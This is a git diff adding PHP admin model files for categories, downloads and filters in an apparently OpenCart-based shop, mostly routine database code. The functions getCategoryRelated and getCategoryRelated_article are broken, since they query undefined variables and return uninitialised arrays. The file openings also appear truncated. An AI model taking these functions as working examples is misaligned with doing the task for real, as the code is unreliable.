+ $this->db->query("INSERT INTO " . DB_PREFIX . "seo_url SET store_id = '" . (int)$store_id . "', language_id = '" . (int)$language_id . "', query = 'category_id=" . (int)$category_id . "', keyword = '" . $this->db->escape(trim($keyword)) . "'");
+ }
+ }
+ }
+ }
+
+ if (isset($data['product_related'])) {
+ foreach ($data['product_related'] as $related_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_related_wb SET category_id = '" . (int)$category_id . "', product_id = '" . (int)$related_id . "'");
+ }
+ }
+
+ if (isset($data['article_related'])) {
+ foreach ($data['article_related'] as $related_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "article_related_wb SET category_id = '" . (int)$category_id . "', article_id = '" . (int)$related_id . "'");
+ }
+ }
+
+ // Set which layout to use with this category
+ if (isset($data['category_layout'])) {
+ foreach ($data['category_layout'] as $store_id => $layout_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "category_to_layout SET category_id = '" . (int)$category_id . "', store_id = '" . (int)$store_id . "', layout_id = '" . (int)$layout_id . "'");
+ }
+ }
+
+ $this->cache->delete('category');
+
+ if($this->config->get('config_seo_pro')){
+ $this->cache->delete('seopro');
+ }
+
+ return $category_id;
+ }
+
+ public function editCategory($category_id, $data) {
+ $this->db->query("UPDATE " . DB_PREFIX . "category SET parent_id = '" . (int)$data['parent_id'] . "', `top` = '" . (isset($data['top']) ? (int)$data['top'] : 0) . "', `column` = '" . (int)$data['column'] . "', sort_order = '" . (int)$data['sort_order'] . "', status = '" . (int)$data['status'] . "', noindex = '" . (int)$data['noindex'] . "', date_modified = NOW() WHERE category_id = '" . (int)$category_id . "'");
+
+ if (isset($data['image'])) {
+ $this->db->query("UPDATE " . DB_PREFIX . "category SET image = '" . $this->db->escape($data['image']) . "' WHERE category_id = '" . (int)$category_id . "'");
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "category_description WHERE category_id = '" . (int)$category_id . "'");
+
+ foreach ($data['category_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "category_description SET category_id = '" . (int)$category_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "', description = '" . $this->db->escape($value['description']) . "', meta_title = '" . $this->db->escape($value['meta_title']) . "', meta_h1 = '" . $this->db->escape($value['meta_h1']) . "', meta_description = '" . $this->db->escape($value['meta_description']) . "', meta_keyword = '" . $this->db->escape($value['meta_keyword']) . "'");
+ }
+
+ // MySQL Hierarchical Data Closure Table Pattern
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "category_path` WHERE path_id = '" . (int)$category_id . "' ORDER BY level ASC");
+
+ if ($query->rows) {
+ foreach ($query->rows as $category_path) {
+ // Delete the path below the current one
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "category_path` WHERE category_id = '" . (int)$category_path['category_id'] . "' AND level < '" . (int)$category_path['level'] . "'");
+
+ $path = array();
+
+ // Get the nodes new parents
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "category_path` WHERE category_id = '" . (int)$data['parent_id'] . "' ORDER BY level ASC");
+
+ foreach ($query->rows as $result) {
+ $path[] = $result['path_id'];
+ }
+
+ // Get whats left of the nodes current path
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "category_path` WHERE category_id = '" . (int)$category_path['category_id'] . "' ORDER BY level ASC");
+
+ foreach ($query->rows as $result) {
+ $path[] = $result['path_id'];
+ }
+
+ // Combine the paths with a new level
+ $level = 0;
+
+ foreach ($path as $path_id) {
+ $this->db->query("REPLACE INTO `" . DB_PREFIX . "category_path` SET category_id = '" . (int)$category_path['category_id'] . "', `path_id` = '" . (int)$path_id . "', level = '" . (int)$level . "'");
+
+ $level++;
+ }
+ }
+ } else {
+ // Delete the path below the current one
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "category_path` WHERE category_id = '" . (int)$category_id . "'");
+
+ // Fix for records with no paths
+ $level = 0;
+
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "category_path` WHERE category_id = '" . (int)$data['parent_id'] . "' ORDER BY level ASC");
+
+ foreach ($query->rows as $result) {
+ $this->db->query("INSERT INTO `" . DB_PREFIX . "category_path` SET category_id = '" . (int)$category_id . "', `path_id` = '" . (int)$result['path_id'] . "', level = '" . (int)$level . "'");
+
+ $level++;
+ }
+
+ $this->db->query("REPLACE INTO `" . DB_PREFIX . "category_path` SET category_id = '" . (int)$category_id . "', `path_id` = '" . (int)$category_id . "', level = '" . (int)$level . "'");
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "category_filter WHERE category_id = '" . (int)$category_id . "'");
+
+ if (isset($data['category_filter'])) {
+ foreach ($data['category_filter'] as $filter_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "category_filter SET category_id = '" . (int)$category_id . "', filter_id = '" . (int)$filter_id . "'");
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "category_to_store WHERE category_id = '" . (int)$category_id . "'");
+
+ if (isset($data['category_store'])) {
+ foreach ($data['category_store'] as $store_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "category_to_store SET category_id = '" . (int)$category_id . "', store_id = '" . (int)$store_id . "'");
+ }
+ }
+
+ // SEO URL
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "seo_url` WHERE query = 'category_id=" . (int)$category_id . "'");
+
+ if (isset($data['category_seo_url'])) {
+ foreach ($data['category_seo_url'] as $store_id => $language) {
+ foreach ($language as $language_id => $keyword) {
+ if (!empty($keyword)) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "seo_url SET store_id = '" . (int)$store_id . "', language_id = '" . (int)$language_id . "', query = 'category_id=" . (int)$category_id . "', keyword = '" . $this->db->escape(trim($keyword)) . "'");
+ }
+ }
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_related_wb WHERE category_id = '" . (int)$category_id . "'");
+
+ if (isset($data['product_related'])) {
+ foreach ($data['product_related'] as $related_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_related_wb WHERE category_id = '" . (int)$category_id . "' AND product_id = '" . (int)$related_id . "'");
+ $this->db->query("INSERT INTO " . DB_PREFIX . "product_related_wb SET category_id = '" . (int)$category_id . "', product_id = '" . (int)$related_id . "'");
+
+
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "article_related_wb WHERE category_id = '" . (int)$category_id . "'");
+
+ if (isset($data['article_related'])) {
+ foreach ($data['article_related'] as $related_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "article_related_wb WHERE category_id = '" . (int)$category_id . "' AND article_id = '" . (int)$related_id . "'");
+ $this->db->query("INSERT INTO " . DB_PREFIX . "article_related_wb SET category_id = '" . (int)$category_id . "', article_id = '" . (int)$related_id . "'");
+
+
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "category_to_layout WHERE category_id = '" . (int)$category_id . "'");
+
+ if (isset($data['category_layout'])) {
+ foreach ($data['category_layout'] as $store_id => $layout_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "category_to_layout SET category_id = '" . (int)$category_id . "', store_id = '" . (int)$store_id . "', layout_id = '" . (int)$layout_id . "'");
+ }
+ }
+
+ $this->cache->delete('category');
+
+ if($this->config->get('config_seo_pro')){
+ $this->cache->delete('seopro');
+ }
+ }
+
+ public function editCategoryStatus($category_id, $status) {
+ $this->db->query("UPDATE " . DB_PREFIX . "category SET status = '" . (int)$status . "', date_modified = NOW() WHERE category_id = '" . (int)$category_id . "'");
+
+ $this->cache->delete('category');
+
+ if($this->config->get('config_seo_pro')){
+ $this->cache->delete('seopro');
+ }
+
+ }
+
+ public function deleteCategory($category_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "category_path WHERE category_id = '" . (int)$category_id . "'");
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "category_path WHERE path_id = '" . (int)$category_id . "'");
+
+ foreach ($query->rows as $result) {
+ $this->deleteCategory($result['category_id']);
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "category WHERE category_id = '" . (int)$category_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "category_description WHERE category_id = '" . (int)$category_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "category_filter WHERE category_id = '" . (int)$category_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "category_to_store WHERE category_id = '" . (int)$category_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "category_to_layout WHERE category_id = '" . (int)$category_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_to_category WHERE category_id = '" . (int)$category_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "seo_url WHERE query = 'category_id=" . (int)$category_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "product_related_wb WHERE category_id = '" . (int)$category_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "article_related_wb WHERE category_id = '" . (int)$category_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "coupon_category WHERE category_id = '" . (int)$category_id . "'");
+
+ $this->cache->delete('category');
+
+ if($this->config->get('config_seo_pro')){
+ $this->cache->delete('seopro');
+ }
+ }
+
+ public function repairCategories($parent_id = 0) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "category WHERE parent_id = '" . (int)$parent_id . "'");
+
+ foreach ($query->rows as $category) {
+ // Delete the path below the current one
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "category_path` WHERE category_id = '" . (int)$category['category_id'] . "'");
+
+ // Fix for records with no paths
+ $level = 0;
+
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "category_path` WHERE category_id = '" . (int)$parent_id . "' ORDER BY level ASC");
+
+ foreach ($query->rows as $result) {
+ $this->db->query("INSERT INTO `" . DB_PREFIX . "category_path` SET category_id = '" . (int)$category['category_id'] . "', `path_id` = '" . (int)$result['path_id'] . "', level = '" . (int)$level . "'");
+
+ $level++;
+ }
+
+ $this->db->query("REPLACE INTO `" . DB_PREFIX . "category_path` SET category_id = '" . (int)$category['category_id'] . "', `path_id` = '" . (int)$category['category_id'] . "', level = '" . (int)$level . "'");
+
+ $this->repairCategories($category['category_id']);
+ }
+ }
+
+ public function getCategory($category_id) {
+ $query = $this->db->query("SELECT DISTINCT *, (SELECT GROUP_CONCAT(cd1.name ORDER BY level SEPARATOR ' > ') FROM " . DB_PREFIX . "category_path cp LEFT JOIN " . DB_PREFIX . "category_description cd1 ON (cp.path_id = cd1.category_id AND cp.category_id != cp.path_id) WHERE cp.category_id = c.category_id AND cd1.language_id = '" . (int)$this->config->get('config_language_id') . "' GROUP BY cp.category_id) AS path FROM " . DB_PREFIX . "category c LEFT JOIN " . DB_PREFIX . "category_description cd2 ON (c.category_id = cd2.category_id) WHERE c.category_id = '" . (int)$category_id . "' AND cd2.language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ return $query->row;
+ }
+
+ public function getAllCategories() {
+ $result = $this->cache->get('category.all.' . $this->config->get('config_language_id') . '.' . (int)$this->config->get('config_store_id'));
+
+ if (!$result || !is_array($result)) {
+ $query = $this->db->query("SELECT c.category_id, c.parent_id, name FROM " . DB_PREFIX . "category c LEFT JOIN " . DB_PREFIX . "category_description cd ON (c.category_id = cd.category_id) LEFT JOIN " . DB_PREFIX . "category_to_store c2s ON (c.category_id = c2s.category_id) WHERE cd.language_id = '" . (int)$this->config->get('config_language_id') . "' AND c2s.store_id = '" . (int)$this->config->get('config_store_id') . "' ORDER BY c.parent_id, c.sort_order, cd.name");
+
+ $categories = array();
+
+ foreach ($query->rows as $row) {
+ $categories[$row['parent_id']][$row['category_id']] = $row;
+ }
+
+ $result = $this->getCategories($categories);
+
+ $this->cache->set('category.all.' . $this->config->get('config_language_id') . '.' . (int)$this->config->get('config_store_id'), $result);
+ }
+
+ return $result;
+ }
+
+ public function getCategories($data = array()) {
+ $sql = "SELECT cp.category_id AS category_id, GROUP_CONCAT(cd1.name ORDER BY cp.level SEPARATOR ' > ') AS name, c1.parent_id, c1.sort_order, c1.noindex FROM " . DB_PREFIX . "category_path cp LEFT JOIN " . DB_PREFIX . "category c1 ON (cp.category_id = c1.category_id) LEFT JOIN " . DB_PREFIX . "category c2 ON (cp.path_id = c2.category_id) LEFT JOIN " . DB_PREFIX . "category_description cd1 ON (cp.path_id = cd1.category_id) LEFT JOIN " . DB_PREFIX . "category_description cd2 ON (cp.category_id = cd2.category_id) WHERE cd1.language_id = '" . (int)$this->config->get('config_language_id') . "' AND cd2.language_id = '" . (int)$this->config->get('config_language_id') . "'";
+
+ if (!empty($data['filter_name'])) {
+ $sql .= " AND cd2.name LIKE '%" . $this->db->escape($data['filter_name']) . "%'";
+ }
+
+ $sql .= " GROUP BY cp.category_id";
+
+ $sort_data = array(
+ 'name',
+ 'sort_order',
+ 'noindex'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY sort_order";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getCategoryDescriptions($category_id) {
+ $category_description_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "category_description WHERE category_id = '" . (int)$category_id . "'");
+
+ foreach ($query->rows as $result) {
+ $category_description_data[$result['language_id']] = array(
+ 'name' => $result['name'],
+ 'meta_title' => $result['meta_title'],
+ 'meta_h1' => $result['meta_h1'],
+ 'meta_description' => $result['meta_description'],
+ 'meta_keyword' => $result['meta_keyword'],
+ 'description' => $result['description']
+ );
+ }
+
+ return $category_description_data;
+ }
+
+ public function getCategoryPath($category_id) {
+ $query = $this->db->query("SELECT category_id, path_id, level FROM " . DB_PREFIX . "category_path WHERE category_id = '" . (int)$category_id . "'");
+
+ return $query->rows;
+ }
+
+ public function getCategoryFilters($category_id) {
+ $category_filter_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "category_filter WHERE category_id = '" . (int)$category_id . "'");
+
+ foreach ($query->rows as $result) {
+ $category_filter_data[] = $result['filter_id'];
+ }
+
+ return $category_filter_data;
+ }
+
+ public function getCategoryStores($category_id) {
+ $category_store_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "category_to_store WHERE category_id = '" . (int)$category_id . "'");
+
+ foreach ($query->rows as $result) {
+ $category_store_data[] = $result['store_id'];
+ }
+
+ return $category_store_data;
+ }
+
+ public function getCategorySeoUrls($category_id) {
+ $category_seo_url_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "seo_url WHERE query = 'category_id=" . (int)$category_id . "'");
+
+ foreach ($query->rows as $result) {
+ $category_seo_url_data[$result['store_id']][$result['language_id']] = $result['keyword'];
+ }
+
+ return $category_seo_url_data;
+ }
+
+ public function getCategoryRelated($category_id) {
+ $category_related_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "product_related_wb WHERE product_id = '" . (int)$product_id . "'");
+
+ foreach ($query->rows as $result) {
+ $product_related_data[] = $result['related_id'];
+ }
+
+ return $product_related_data;
+ }
+
+ public function getCategoryRelated_article($category_id) {
+ $category_related_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "article_related_wb WHERE article_id = '" . (int)$article_id . "'");
+
+ foreach ($query->rows as $result) {
+ $article_related_data[] = $result['related_id'];
+ }
+
+ return $article_related_data;
+ }
+
+ public function getCategoryLayouts($category_id) {
+ $category_layout_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "category_to_layout WHERE category_id = '" . (int)$category_id . "'");
+
+ foreach ($query->rows as $result) {
+ $category_layout_data[$result['store_id']] = $result['layout_id'];
+ }
+
+ return $category_layout_data;
+ }
+
+ public function getTotalCategories() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "category");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalCategoriesByLayoutId($layout_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "category_to_layout WHERE layout_id = '" . (int)$layout_id . "'");
+
+ return $query->row['total'];
+ }
+
+ public function getCategoriesByParentId($parent_id = 0) {
+ $query = $this->db->query("SELECT *, (SELECT COUNT(parent_id) FROM " . DB_PREFIX . "category WHERE parent_id = c.category_id) AS children FROM " . DB_PREFIX . "category c LEFT JOIN " . DB_PREFIX . "category_description cd ON (c.category_id = cd.category_id) WHERE c.parent_id = '" . (int)$parent_id . "' AND cd.language_id = '" . (int)$this->config->get('config_language_id') . "' ORDER BY c.sort_order, cd.name");
+ return $query->rows;
+ }
+
+ public function getCategoriesChildren($parent_id = 0) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "category_path WHERE path_id = '" . (int)$parent_id . "'");
+ return $query->rows;
+ }
+
+ public function getProductRelated($category_id) {
+ $product_related_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "product_related_wb WHERE category_id = '" . (int)$category_id . "'");
+
+ foreach ($query->rows as $result) {
+ $product_related_data[] = $result['product_id'];
+ }
+
+ return $product_related_data;
+ }
+
+ public function getArticleRelated($category_id) {
+ $article_related_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "article_related_wb WHERE category_id = '" . (int)$category_id . "'");
+
+ foreach ($query->rows as $result) {
+ $article_related_data[] = $result['article_id'];
+ }
+
+ return $article_related_data;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/catalog/download.php b/public/admin/model/catalog/download.php
new file mode 100644
index 0000000..1849d2a
--- /dev/null
+++ b/public/admin/model/catalog/download.php
@@ -0,0 +1,94 @@
+db->query("INSERT INTO " . DB_PREFIX . "download SET filename = '" . $this->db->escape($data['filename']) . "', mask = '" . $this->db->escape($data['mask']) . "', date_added = NOW()");
+
+ $download_id = $this->db->getLastId();
+
+ foreach ($data['download_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "download_description SET download_id = '" . (int)$download_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "'");
+ }
+
+ return $download_id;
+ }
+
+ public function editDownload($download_id, $data) {
+ $this->db->query("UPDATE " . DB_PREFIX . "download SET filename = '" . $this->db->escape($data['filename']) . "', mask = '" . $this->db->escape($data['mask']) . "' WHERE download_id = '" . (int)$download_id . "'");
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "download_description WHERE download_id = '" . (int)$download_id . "'");
+
+ foreach ($data['download_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "download_description SET download_id = '" . (int)$download_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "'");
+ }
+ }
+
+ public function deleteDownload($download_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "download WHERE download_id = '" . (int)$download_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "download_description WHERE download_id = '" . (int)$download_id . "'");
+ }
+
+ public function getDownload($download_id) {
+ $query = $this->db->query("SELECT DISTINCT * FROM " . DB_PREFIX . "download d LEFT JOIN " . DB_PREFIX . "download_description dd ON (d.download_id = dd.download_id) WHERE d.download_id = '" . (int)$download_id . "' AND dd.language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ return $query->row;
+ }
+
+ public function getDownloads($data = array()) {
+ $sql = "SELECT * FROM " . DB_PREFIX . "download d LEFT JOIN " . DB_PREFIX . "download_description dd ON (d.download_id = dd.download_id) WHERE dd.language_id = '" . (int)$this->config->get('config_language_id') . "'";
+
+ if (!empty($data['filter_name'])) {
+ $sql .= " AND dd.name LIKE '" . $this->db->escape($data['filter_name']) . "%'";
+ }
+
+ $sort_data = array(
+ 'dd.name',
+ 'd.date_added'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY dd.name";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getDownloadDescriptions($download_id) {
+ $download_description_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "download_description WHERE download_id = '" . (int)$download_id . "'");
+
+ foreach ($query->rows as $result) {
+ $download_description_data[$result['language_id']] = array('name' => $result['name']);
+ }
+
+ return $download_description_data;
+ }
+
+ public function getTotalDownloads() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "download");
+
+ return $query->row['total'];
+ }
+}
\ No newline at end of file
diff --git a/public/admin/model/catalog/filter.php b/public/admin/model/catalog/filter.php
new file mode 100644
index 0000000..830e1f6
--- /dev/null
+++ b/public/admin/model/catalog/filter.php
@@ -0,0 +1,179 @@
+db->query("INSERT INTO `" . DB_PREFIX . "filter_group` SET sort_order = '" . (int)$data['sort_order'] . "'");
+
+ $filter_group_id = $this->db->getLastId();
+
+ foreach ($data['filter_group_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "filter_group_description SET filter_group_id = '" . (int)$filter_group_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "'");
+ }
+
+ if (isset($data['filter'])) {
+ foreach ($data['filter'] as $filter) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "filter SET filter_group_id = '" . (int)$filter_group_id . "', sort_order = '" . (int)$filter['sort_order'] . "'");
+
+ $filter_id = $this->db->getLastId();
+
+ foreach ($filter['filter_description'] as $language_id => $filter_description) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "filter_description SET filter_id = '" . (int)$filter_id . "', language_id = '" . (int)$language_id . "', filter_group_id = '" . (int)$filter_group_id . "', name = '" . $this->db->escape($filter_description['name']) . "'");
+ }
+ }
+ }
+
+ return $filter_group_id;
+ }
+
+ public function editFilter($filter_group_id, $data) {
+ $this->db->query("UPDATE `" . DB_PREFIX . "filter_group` SET sort_order = '" . (int)$data['sort_order'] . "' WHERE filter_group_id = '" . (int)$filter_group_id . "'");
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "filter_group_description WHERE filter_group_id = '" . (int)$filter_group_id . "'");
+
+ foreach ($data['filter_group_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "filter_group_description SET filter_group_id = '" . (int)$filter_group_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "'");
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "filter WHERE filter_group_id = '" . (int)$filter_group_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "filter_description WHERE filter_group_id = '" . (int)$filter_group_id . "'");
+
+ if (isset($data['filter'])) {
+ foreach ($data['filter'] as $filter) {
+ if ($filter['filter_id']) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "filter SET filter_id = '" . (int)$filter['filter_id'] . "', filter_group_id = '" . (int)$filter_group_id . "', sort_order = '" . (int)$filter['sort_order'] . "'");
+ } else {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "filter SET filter_group_id = '" . (int)$filter_group_id . "', sort_order = '" . (int)$filter['sort_order'] . "'");
+ }
+
+ $filter_id = $this->db->getLastId();
+
+ foreach ($filter['filter_description'] as $language_id => $filter_description) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "filter_description SET filter_id = '" . (int)$filter_id . "', language_id = '" . (int)$language_id . "', filter_group_id = '" . (int)$filter_group_id . "', name = '" . $this->db->escape($filter_description['name']) . "'");
+ }
+ }
+ }
+ }
+
+ public function deleteFilter($filter_group_id) {
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "filter_group` WHERE filter_group_id = '" . (int)$filter_group_id . "'");
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "filter_group_description` WHERE filter_group_id = '" . (int)$filter_group_id . "'");
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "filter` WHERE filter_group_id = '" . (int)$filter_group_id . "'");
+ $this->db->query("DELETE FROM `" . DB_PREFIX . "filter_description` WHERE filter_group_id = '" . (int)$filter_group_id . "'");
+ }
+
+ public function getFilterGroup($filter_group_id) {
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "filter_group` fg LEFT JOIN " . DB_PREFIX . "filter_group_description fgd ON (fg.filter_group_id = fgd.filter_group_id) WHERE fg.filter_group_id = '" . (int)$filter_group_id . "' AND fgd.language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ return $query->row;
+ }
+
+ public function getFilterGroups($data = array()) {
+ $sql = "SELECT * FROM `" . DB_PREFIX . "filter_group` fg LEFT JOIN " . DB_PREFIX . "filter_group_description fgd ON (fg.filter_group_id = fgd.filter_group_id) WHERE fgd.language_id = '" . (int)$this->config->get('config_language_id') . "'";
+
+ $sort_data = array(
+ 'fgd.name',
+ 'fg.sort_order'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY fgd.name";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getFilterGroupDescriptions($filter_group_id) {
+ $filter_group_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "filter_group_description WHERE filter_group_id = '" . (int)$filter_group_id . "'");
+
+ foreach ($query->rows as $result) {
+ $filter_group_data[$result['language_id']] = array('name' => $result['name']);
+ }
+
+ return $filter_group_data;
+ }
+
+ public function getFilter($filter_id) {
+ $query = $this->db->query("SELECT *, (SELECT name FROM " . DB_PREFIX . "filter_group_description fgd WHERE f.filter_group_id = fgd.filter_group_id AND fgd.language_id = '" . (int)$this->config->get('config_language_id') . "') AS `group` FROM " . DB_PREFIX . "filter f LEFT JOIN " . DB_PREFIX . "filter_description fd ON (f.filter_id = fd.filter_id) WHERE f.filter_id = '" . (int)$filter_id . "' AND fd.language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ return $query->row;
+ }
+
+ public function getFilters($data) {
+ $sql = "SELECT *, (SELECT name FROM " . DB_PREFIX . "filter_group_description fgd WHERE f.filter_group_id = fgd.filter_group_id AND fgd.language_id = '" . (int)$this->config->get('config_language_id') . "') AS `group` FROM " . DB_PREFIX . "filter f LEFT JOIN " . DB_PREFIX . "filter_description fd ON (f.filter_id = fd.filter_id) WHERE fd.language_id = '" . (int)$this->config->get('config_language_id') . "'";
+
+ if (!empty($data['filter_name'])) {
+ $sql .= " AND fd.name LIKE '" . $this->db->escape($data['filter_name']) . "%'";
+ }
+
+ $sql .= " ORDER BY f.sort_order ASC";
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getFilterDescriptions($filter_group_id) {
+ $filter_data = array();
+
+ $filter_query = $this->db->query("SELECT * FROM " . DB_PREFIX . "filter WHERE filter_group_id = '" . (int)$filter_group_id . "'");
+
+ foreach ($filter_query->rows as $filter) {
+ $filter_description_data = array();
+
+ $filter_description_query = $this->db->query("SELECT * FROM " . DB_PREFIX . "filter_description WHERE filter_id = '" . (int)$filter['filter_id'] . "'");
+
+ foreach ($filter_description_query->rows as $filter_description) {
+ $filter_description_data[$filter_description['language_id']] = array('name' => $filter_description['name']);
+ }
+
+ $filter_data[] = array(
+ 'filter_id' => $filter['filter_id'],
+ 'filter_description' => $filter_description_data,
+ 'sort_order' => $filter['sort_order']
+ );
+ }
+
+ return $filter_data;
+ }
+
+ public function getTotalFilterGroups() {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM `" . DB_PREFIX . "filter_group`");
+
+ return $query->row['total'];
+ }
+}
diff --git a/public/admin/model/catalog/information.php b/public/admin/model/catalog/information.php
new file mode 100644
index 0000000..e774fc9
--- /dev/null
+++ b/public/admin/model/catalog/information.php
@@ -0,0 +1,223 @@
+db->query("INSERT INTO " . DB_PREFIX . "information SET sort_order = '" . (int)$data['sort_order'] . "', bottom = '" . (isset($data['bottom']) ? (int)$data['bottom'] : 0) . "', status = '" . (int)$data['status'] . "', noindex = '" . (int)$data['noindex'] . "'");
+
+ $information_id = $this->db->getLastId();
+
+ foreach ($data['information_description'] as $language_id => $value) {
